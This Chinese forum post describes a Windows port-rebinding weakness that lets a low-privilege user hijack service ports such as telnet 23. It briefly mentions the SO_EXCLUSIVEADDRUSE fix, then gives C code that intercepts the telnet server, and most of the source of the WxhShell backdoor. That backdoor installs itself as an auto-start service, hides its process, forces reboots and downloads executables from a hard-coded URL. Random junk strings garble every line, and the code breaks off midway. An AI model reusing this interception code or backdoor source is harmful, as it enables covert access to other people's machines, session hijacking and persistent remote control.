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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: EZJ[+ -Q;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8fWk C<f}  
X[J?  
  saddr.sin_family = AF_INET; vM?jm! nd  
<_3OiU= w  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [ XBVES8  
Lhmb= @  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); h[>Puoz  
?.Lq`~T`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }s@vN8C  
A; Av0@w  
  这意味着什么?意味着可以进行如下的攻击: k] iyx  
oef]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <~ }NxY\5  
TrR=3_;.7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) cm17hPe`}n  
e N^6gub  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;5&=I|xqe  
S+7u,%n/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Z3O_K  
@TvDxY1)6Z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 i% n9RuULh  
|31/*J!@z*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W0k7(v)  
m8<.TCIQ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %`\=qSf*  
w=kW~gg  
  #include cceh`s=cU  
  #include N7UGgn=  
  #include M$Ow*!DfP  
  #include    .f-s+J&ED  
  DWORD WINAPI ClientThread(LPVOID lpParam);   c"oJcp  
  int main() e)f!2'LL  
  { &\e8c g  
  WORD wVersionRequested; 1~y\MD*-j  
  DWORD ret; ")i_{C,b^  
  WSADATA wsaData; 9s&dN  
  BOOL val; N?v}\P U  
  SOCKADDR_IN saddr; )7  M  
  SOCKADDR_IN scaddr; tQ,3nI!|xF  
  int err; ;( [^+_/  
  SOCKET s; a[ yyEgm2  
  SOCKET sc; y`a]##1j$M  
  int caddsize; -Ra-Ux  
  HANDLE mt; /3j3'~0  
  DWORD tid;   v~:'t\n  
  wVersionRequested = MAKEWORD( 2, 2 ); j2s{rQQ  
  err = WSAStartup( wVersionRequested, &wsaData ); eOZ"kw"uHu  
  if ( err != 0 ) { GQ6~Si2  
  printf("error!WSAStartup failed!\n"); #'8'5b  
  return -1; ~n;U5hcB  
  } O"9Or3w  
  saddr.sin_family = AF_INET; 5 51p* B2  
   Y*0j/91  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6kHuKxY,  
-\~HAnh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~; vt{pk  
  saddr.sin_port = htons(23); IVso/!   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q(jIqY1Hf  
  { :aR_f`KMm  
  printf("error!socket failed!\n"); AHet,N  
  return -1; -=GmI1:=$4  
  } u9j1>QU  
  val = TRUE; 4P?R "Lk  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 YQ`88 z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r<!/!}fE,  
  { ~F[JupU  
  printf("error!setsockopt failed!\n"); hVW1l&s  
  return -1; t#2szr+  
  } \kP1Jr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Le2rc *T  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7`HKa@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +6s6QeNS8  
]23+ d/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {w mP  
  { 4^7*R  
  ret=GetLastError(); juEH$7N !  
  printf("error!bind failed!\n"); lyw)4;wt\  
  return -1; gg@Ew4L&  
  } s&M#]8x;x  
  listen(s,2); r#(*x 2~,  
  while(1) iQvqifDmh  
  { M3s:B& /  
  caddsize = sizeof(scaddr); "c*#ZP  
  //接受连接请求 ]%Lk#BA@A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KqvM5$3  
  if(sc!=INVALID_SOCKET) ld7B{ ?]  
  { k iu#THF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >6:UWvV1  
  if(mt==NULL) H=6-@+ !o  
  { UcWf O!}D  
  printf("Thread Creat Failed!\n"); ^&\<[\  
  break; +,UuJ6[n  
  }  / !aVv  
  } j`QXl  
  CloseHandle(mt); mV.26D<c  
  } \RmU6(;IQ  
  closesocket(s); &W%fsy<  
  WSACleanup(); y$+_9VzYB  
  return 0; ~;@\9oPpz%  
  }   yAQ)/u[|  
  DWORD WINAPI ClientThread(LPVOID lpParam) QeQxz1  
  { z'}z4^35,  
  SOCKET ss = (SOCKET)lpParam; B~`:?f9ny5  
  SOCKET sc; ]u47]L#  
  unsigned char buf[4096]; &/$3>MD2`  
  SOCKADDR_IN saddr; O +Xu ?W]  
  long num; b q8nV  
  DWORD val; 4o kZ  
  DWORD ret; %";ap8J04F  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +<'>~lDg  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h y"=)n(  
  saddr.sin_family = AF_INET; `gdk,L]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v,c;dlg_  
  saddr.sin_port = htons(23); }i52MI1-XP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *R8P brN  
  { +oiuulA  
  printf("error!socket failed!\n"); R]N"P:wf@  
  return -1; Lv@'v4.({  
  } {; 3a^K  
  val = 100; ; Z2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;eC8| Xz  
  { ,EH^3ODD  
  ret = GetLastError(); /U= ?D(>x  
  return -1; */j[n$K>~`  
  } +K48c,gt?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e|4U2\&3y  
  { i}~U/.P   
  ret = GetLastError(); =z#j9'n$@  
  return -1; g3c,x kaO  
  } Z@bKYfGM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )| F O>  
  { A[H"(E#k  
  printf("error!socket connect failed!\n"); @VnK/5opS  
  closesocket(sc); y|(?>\jBl  
  closesocket(ss); z`!f'I--!  
  return -1; KA elq*  
  } VujIKc#4  
  while(1) m">2XGCn  
  { yK w.69.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vgN%vw pL  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \1oN't.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 O[ug7\cl+  
  num = recv(ss,buf,4096,0); mBDzc(_\$'  
  if(num>0) W"H(HA  
  send(sc,buf,num,0); &'c&B0j  
  else if(num==0) F+/#ugI  
  break; 4]no#lVRJ  
  num = recv(sc,buf,4096,0); *C,1 x5  
  if(num>0) FLQ>,=O  
  send(ss,buf,num,0); 4^k+wQU  
  else if(num==0) a>eg H og  
  break; )b-KF}]d  
  } gCaxZ~o  
  closesocket(ss); ~y1k2n  
  closesocket(sc); gqDSHFm:  
  return 0 ; ZQ[s/  
  } /H*n(d  
M+WN\.2pX  
c> ":g~w  
========================================================== % {A%SDh  
Q6d>tqWhq  
下边附上一个代码,,WXhSHELL +z+u=)I  
F<(?N!C?@  
========================================================== 34t[]v|LD  
66HxwY3a  
#include "stdafx.h" Nh+XlgXG  
~;I'.TW  
#include <stdio.h> PF:'dv  
#include <string.h> %Ktlez:S  
#include <windows.h> eMUs w5=  
#include <winsock2.h> RIq\IQ_|  
#include <winsvc.h> Cf3<;Mp<  
#include <urlmon.h> -o YJ&r  
9O-*iK  
#pragma comment (lib, "Ws2_32.lib") c@{M),C~E  
#pragma comment (lib, "urlmon.lib") IaGF{O3.  
59k-,lyU,  
#define MAX_USER   100 // 最大客户端连接数 x%55:8{  
#define BUF_SOCK   200 // sock buffer Fr1OzS^&(  
#define KEY_BUFF   255 // 输入 buffer gk4DoOj#P  
6bUcrw/# p  
#define REBOOT     0   // 重启 :CG;:( |  
#define SHUTDOWN   1   // 关机 43N=O FU  
'Xg9MS&  
#define DEF_PORT   5000 // 监听端口 ,<fs+oi  
#<yKG\X?  
#define REG_LEN     16   // 注册表键长度 jNW/Biy4u  
#define SVC_LEN     80   // NT服务名长度  S=X_7V  
yOyuMZo6  
// 从dll定义API c6LPqPcN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yS@xyW /  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H~?p,h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0yL%Pjn6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #w;%{C[D  
fU'[lZ  
// wxhshell配置信息 xi=Qxgx0I  
struct WSCFG { Env_??xq  
  int ws_port;         // 监听端口 ^Kn:T`vB  
  char ws_passstr[REG_LEN]; // 口令 \0z<@)r+AJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no W+#Zmvo  
  char ws_regname[REG_LEN]; // 注册表键名 $rH}2  
  char ws_svcname[REG_LEN]; // 服务名 d2*uY.,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >C/O >g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g>-u9%aa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Yn8aTg[J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !6eF8T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U9h@1:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Sxc p [g;  
pGsu#`t  
}; y-o54e$4Cq  
94L>%{59  
// default Wxhshell configuration mxl"Y&l2<  
struct WSCFG wscfg={DEF_PORT, n4 J*04K  
    "xuhuanlingzhe", }?[a>.]u  
    1, (BY5omlh  
    "Wxhshell", o<!tN OH  
    "Wxhshell", D*!9K8<o  
            "WxhShell Service", Vn6]h|vm  
    "Wrsky Windows CmdShell Service", !p(N DQm  
    "Please Input Your Password: ", Ky)*6QOw  
  1, ^zR*s |1Q  
  "http://www.wrsky.com/wxhshell.exe", vS G vv43G  
  "Wxhshell.exe" }M~[8f ]  
    }; >\Ml \CyL  
2E0$R%\  
// 消息定义模块 Hs(U|BXU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M[?0 ^ FBx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dU#} Tk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,5P tB]8&3  
char *msg_ws_ext="\n\rExit."; ^(1S`z$  
char *msg_ws_end="\n\rQuit."; U$j?2|v-x  
char *msg_ws_boot="\n\rReboot..."; B#[.c$  
char *msg_ws_poff="\n\rShutdown..."; B S+=*3J  
char *msg_ws_down="\n\rSave to "; P#qQde/y  
'~[JV>5  
char *msg_ws_err="\n\rErr!"; <xr\1VjA  
char *msg_ws_ok="\n\rOK!"; N m@UM*D  
$@<cZ4  
char ExeFile[MAX_PATH]; xRm~a-rp  
int nUser = 0; B^"1V{M  
HANDLE handles[MAX_USER]; p$l'y""i  
int OsIsNt; Mtq^6`JJ'  
7SjWofv  
SERVICE_STATUS       serviceStatus; `r*bG=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S"Drg m.  
<CGJ:% AY  
// 函数声明 N3?hu}  
int Install(void); v)rQ4 wD:  
int Uninstall(void); 7oZtbBs]M  
int DownloadFile(char *sURL, SOCKET wsh); nSB@xP#&  
int Boot(int flag); BVv{:m{w  
void HideProc(void); '"J``=  
int GetOsVer(void); RV_+-m{]  
int Wxhshell(SOCKET wsl); 9NausE40  
void TalkWithClient(void *cs); =J^FV_1rJ  
int CmdShell(SOCKET sock); z#\YA]1  
int StartFromService(void); ]xN)>A2  
int StartWxhshell(LPSTR lpCmdLine); |/O_AnGI  
0 LIRi%N5*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S/xCX!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a,KqTQB  
b1-'q^M  
// 数据结构和表定义 0v'!(&m  
SERVICE_TABLE_ENTRY DispatchTable[] = wZKEUJpQ  
{ 8U7X/L  
{wscfg.ws_svcname, NTServiceMain}, qBqh>Wo  
{NULL, NULL} @Jr@ fF}  
}; ?a'P;&@7  
\Qei}5P,  
// 自我安装 z-?WU  
int Install(void) c_FnJ_++f  
{ ljJR7<  
  char svExeFile[MAX_PATH]; JId|LHf*P  
  HKEY key; UGK,+FN  
  strcpy(svExeFile,ExeFile); oE'Flc.  
4'`y5E  
// 如果是win9x系统,修改注册表设为自启动 "&1h<>  
if(!OsIsNt) { 8d8GYTl b)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s?_H<u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z,5B(Xj  
  RegCloseKey(key); Jn)DZv8?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6G]hs gro  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c^`(5}39v  
  RegCloseKey(key); Pze{5!  
  return 0; `E-cf7%  
    } 0M 5m8  
  } FmC [u  
} \Ea(f**2B  
else { Fps:6~gD  
i[m-&   
// 如果是NT以上系统,安装为系统服务 }g_\?z3gt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9 hdz<eFL  
if (schSCManager!=0) |J^$3RX  
{ s!WI:E7  
  SC_HANDLE schService = CreateService y\c-I!6>26  
  ( <F-W fR  
  schSCManager, C,nU.0  
  wscfg.ws_svcname, H:.l:PJ  
  wscfg.ws_svcdisp, 9\KMU@Ne  
  SERVICE_ALL_ACCESS, `nEe-w^9)I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w~}.c:B  
  SERVICE_AUTO_START, ?qR11A};tG  
  SERVICE_ERROR_NORMAL, 'uU{.bq  
  svExeFile, 4 -Cca  
  NULL, `rZS\A  
  NULL, 1$1P9x@H  
  NULL, CyD)=e {  
  NULL, Kzrt%DA  
  NULL x$=""?dd  
  ); pDM95.6   
  if (schService!=0) IJv+si:k  
  { gkL{]*9&%  
  CloseServiceHandle(schService); 1cY,)Z%l #  
  CloseServiceHandle(schSCManager); `u#N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sH /08Z  
  strcat(svExeFile,wscfg.ws_svcname); =w2_1F"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /'Q2TLy=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZCz#B2Sf8  
  RegCloseKey(key); CCU<t Q  
  return 0; ;eT+Ly|{  
    } WC`x^HI  
  } :XeRc"m<  
  CloseServiceHandle(schSCManager); z 3N'Xk  
} 52#Ac;Y  
} L}\~)  
L1YiXJ,T,  
return 1; I"bz6t\~|  
} d .t$VRO  
;)rXQm  
// 自我卸载 *g!7PzJ'  
int Uninstall(void) 5;q{9wvqO  
{ 0. mS^g,M-  
  HKEY key; /L*JHNu"_  
.l +yK-BZ  
if(!OsIsNt) { > ,;<Bz|X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [LDY;k~5+  
  RegDeleteValue(key,wscfg.ws_regname); vnD `+y  
  RegCloseKey(key); sG8G}f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0*XCAnJ^_  
  RegDeleteValue(key,wscfg.ws_regname); <zt124y-6  
  RegCloseKey(key); nV3I6  
  return 0; jCp`woV  
  } K| '`w.  
} W+u-M>Cj6  
} Y[Eq;a132  
else { p^*A&7d:P  
Q$8&V}jVW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1AAOg+Y@U"  
if (schSCManager!=0) Sgq?r-Q.  
{ sglH=0MP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6Eyinv  
  if (schService!=0) aKC,{}f$m  
  { vk.P| Y-;  
  if(DeleteService(schService)!=0) { N Nw0 G&  
  CloseServiceHandle(schService); 8=,-r`oNy  
  CloseServiceHandle(schSCManager); (qdvvu#E  
  return 0; y87oW_"h  
  } xj;V  
  CloseServiceHandle(schService); _BHEK  
  } 'e:(61_  
  CloseServiceHandle(schSCManager); LZ<^b6Dxk  
} oUx%ra{  
} 0Ait7`  
M*2 Nq=3  
return 1; (Fs{~4T  
} J+r:7NvZ  
%3@-. =  
// 从指定url下载文件 tZan1C%p>  
int DownloadFile(char *sURL, SOCKET wsh) <BjrW]pM  
{ ][`%vj9r  
  HRESULT hr; _kT{W]   
char seps[]= "/"; RJOW#e :  
char *token; p,7, tx  
char *file; \@m^w"Ij  
char myURL[MAX_PATH]; :s>x~t8g#n  
char myFILE[MAX_PATH]; C@{-$z)  
IQeiT[TF  
strcpy(myURL,sURL); qrufnu5cC  
  token=strtok(myURL,seps); HMmB90P`  
  while(token!=NULL) iB#*XJ;q  
  { lb\VQZp!y  
    file=token; .JX9(#Uk  
  token=strtok(NULL,seps); D hD^w;f]  
  } D";@)\jN  
^]MLEr!S  
GetCurrentDirectory(MAX_PATH,myFILE); ' wni.E&  
strcat(myFILE, "\\"); h&2l0 |8k  
strcat(myFILE, file); fs0EbVDF  
  send(wsh,myFILE,strlen(myFILE),0); vX|5*T`(  
send(wsh,"...",3,0); ZaF9Q%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Mh~E ]8b  
  if(hr==S_OK) <h%I-e6  
return 0; 0t7vg#v|  
else Z7p!YTA  
return 1; 8\Bb7*  
K/M2L&C  
} q![`3m-d.  
' r/xBj[Z  
// 系统电源模块 :f~qt%%/  
int Boot(int flag) }/2M?W0  
{ #p2`9o  
  HANDLE hToken; *" +u^  
  TOKEN_PRIVILEGES tkp; ZQ{-6VCjl  
{A'_5 X9  
  if(OsIsNt) { iTVZo?lVo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T{)_vQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v?_L_{x;W  
    tkp.PrivilegeCount = 1; (D0\uld9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &yG5w4<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^09-SUl^  
if(flag==REBOOT) { Q2[; H!"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yt<h!k$ _P  
  return 0; +`tk LvM  
} Q)im2o@z  
else { |enb5b78  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bE?X?[K  
  return 0; =Y Y 7V!  
} -\n%K  
  } %`*On~  
  else { us+z8Mz  
if(flag==REBOOT) { H*Tzw,f~ v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nF$HWp&gt  
  return 0; :0Z\-7iK  
} ih-J{1  
else { 2'u%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fZrh_^yH  
  return 0; LGK@taw^  
} _!,Ees=b  
} ^h^.;Iqr=  
in6*3C4  
return 1; (e Ssx/  
} ")<5 VtV  
]kd:p*U6P  
// win9x进程隐藏模块 N(V_P[]"*,  
void HideProc(void) inh J|pe"  
{ GSW%~9WBa  
pQ>|d H+.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OX%#8Lx  
  if ( hKernel != NULL ) U7Oa 13Qz  
  { 2T(7V[C%9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4:5M,p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )qe rA  
    FreeLibrary(hKernel); y%?'<j  
  } 'q?Y5@s  
voQJ!h1  
return; `aTw!QBfG  
} PQp/ &D4K  
0TZB}c#qT  
// 获取操作系统版本 <Zvvx  
int GetOsVer(void) LI].*n/v  
{ Q[ ?R{w6  
  OSVERSIONINFO winfo; "By$!R-&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tQas_K5  
  GetVersionEx(&winfo); KWojMPs  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RLZfXXMn  
  return 1; |<'6rJ[i>  
  else [>t;P ,  
  return 0; U.X` z3q  
} `][vaLd`Q  
h ,n}=g+?  
// 客户端句柄模块 .+kg1=s  
int Wxhshell(SOCKET wsl) ` FOCX;  
{ 4XAs^>N+  
  SOCKET wsh; V0BT./ B\<  
  struct sockaddr_in client; D|ra ;d  
  DWORD myID; )K$YL='kX  
;dPaWS1D  
  while(nUser<MAX_USER) U!NuiKaQ26  
{ zXD/hM  
  int nSize=sizeof(client); h8X[*Wme  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lrj&60R`w  
  if(wsh==INVALID_SOCKET) return 1; bv VkN  
b $yIM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -DK6(<:0  
if(handles[nUser]==0) %P D}VF/Y  
  closesocket(wsh); uVKe?~RC  
else `S0`3q}L3%  
  nUser++; KJ:z\N8eo  
  } yjsj+K pL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); un4fnoc  
{Wi*B(  
  return 0; 7'"qW"<  
} ptrwZ8'  
4wkv#vi7!-  
// 关闭 socket ^RO<r}B u  
void CloseIt(SOCKET wsh) DP0@x+`k  
{ _GFh+eS}  
closesocket(wsh); 1Iy1xiP  
nUser--; mt$rjk=  
ExitThread(0); 6 &0r/r  
} /Ry% K4$  
v bn=ywz  
// 客户端请求句柄 kDDC@A $  
void TalkWithClient(void *cs) \Oq8kJ=  
{ #4./>}G  
, ^K.J29  
  SOCKET wsh=(SOCKET)cs; c?e-2Dp(  
  char pwd[SVC_LEN]; YoW)]n  
  char cmd[KEY_BUFF]; URs]S~tk  
char chr[1]; wU>Fz*  
int i,j; /,\U*'-  
QS!Z*vG  
  while (nUser < MAX_USER) { yQMwt|C4  
!+A%`m  
if(wscfg.ws_passstr) { )obgEJ7Y`l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H`'a|Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w7.,ch  
  //ZeroMemory(pwd,KEY_BUFF); 1Acs0` 3  
      i=0; tsL ; wT_  
  while(i<SVC_LEN) { l _%<U  
1O< 6=oH  
  // 设置超时 g4b#U\D@)/  
  fd_set FdRead; IdN3Ea]  
  struct timeval TimeOut; |Y05 *!\P*  
  FD_ZERO(&FdRead); mvK^')  
  FD_SET(wsh,&FdRead); y: x<`E=  
  TimeOut.tv_sec=8; W#~7X  
  TimeOut.tv_usec=0; kl]MP}wc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '~Cn+xf4]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )v_v 7 ~H&  
,}&TZkN{-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v@tEHRadz  
  pwd=chr[0]; gT0yI ;g]  
  if(chr[0]==0xd || chr[0]==0xa) { NXFi*  
  pwd=0; %~PcJhz  
  break; '/NpmNY:L  
  } w2UEU5%  
  i++; *U,J Q  
    } `_)H aF>/  
vQyY %  
  // 如果是非法用户,关闭 socket Vx2/^MiXy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JPAjOcmU/  
} g i6s+2  
L7;~4_M9.V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oe]* Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :`zO%h  
KD ,3U/ 3  
while(1) { # :k=  
_%=CW' B  
  ZeroMemory(cmd,KEY_BUFF); 3a.!9R>  
\? )S {  
      // 自动支持客户端 telnet标准   `DF49YP"~  
  j=0; /0H}-i  
  while(j<KEY_BUFF) { ]sqLGmUL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4r7F8*z  
  cmd[j]=chr[0]; rAfz?  
  if(chr[0]==0xa || chr[0]==0xd) { u+r!;-0i  
  cmd[j]=0; Ao8ua|:  
  break; Y4 HN1  
  } :\P@c(c{^C  
  j++; 8 E\zjT!#\  
    } PVp>L*|BZ;  
<+g77NL  
  // 下载文件 _*6]4\;  
  if(strstr(cmd,"http://")) { tRJ5IX##L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6vsA8u(|V#  
  if(DownloadFile(cmd,wsh)) eZAMV/]jH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A~PR  
  else TT/H"Ri}Jp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tngB;9c+w  
  } n}.e(z_"  
  else { Hs'~) T  
n H?6o#]N  
    switch(cmd[0]) { \hgd&H0UU  
  P0}{xq'k9v  
  // 帮助 9>w~B|/  
  case '?': { 3\@2!:>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &Y?t  
    break; 88v8lt;R  
  } 0>Snps3*Z  
  // 安装 .)b<cH~%  
  case 'i': { (cOe*>L;  
    if(Install()) |Q 3d7y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &L$9Ii  
    else zp;!HP;/=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1*u]v{JJ(  
    break; 7Dbm s(:(  
    } ]|tg`*l!>  
  // 卸载 Cjr]l!  
  case 'r': {  RbTGAA  
    if(Uninstall()) "ktuq\a@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I{cH$jt<  
    else K 77iv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i`2SebDj'w  
    break; c%/b*nQ(=  
    } >|A,rE^Ojt  
  // 显示 wxhshell 所在路径 S[3"?$3S  
  case 'p': { W:]2T p  
    char svExeFile[MAX_PATH]; e9{0hw7  
    strcpy(svExeFile,"\n\r"); dgpE3 37Lt  
      strcat(svExeFile,ExeFile); !2KQi=Ng  
        send(wsh,svExeFile,strlen(svExeFile),0); ~dr,;NhOLJ  
    break; o@zxzZWg  
    } :TU|:2+  
  // 重启 ZQE1]ht  
  case 'b': { sh_;98^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iibG$?(  
    if(Boot(REBOOT)) cDY)QUmi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H9(?yI@Zr#  
    else { EcB !bf  
    closesocket(wsh); qX-ptsQ  
    ExitThread(0); S{;Pga*Px  
    } y(Gn+  
    break; ML905n u  
    } r)5xS]  
  // 关机 <3{MS],<<  
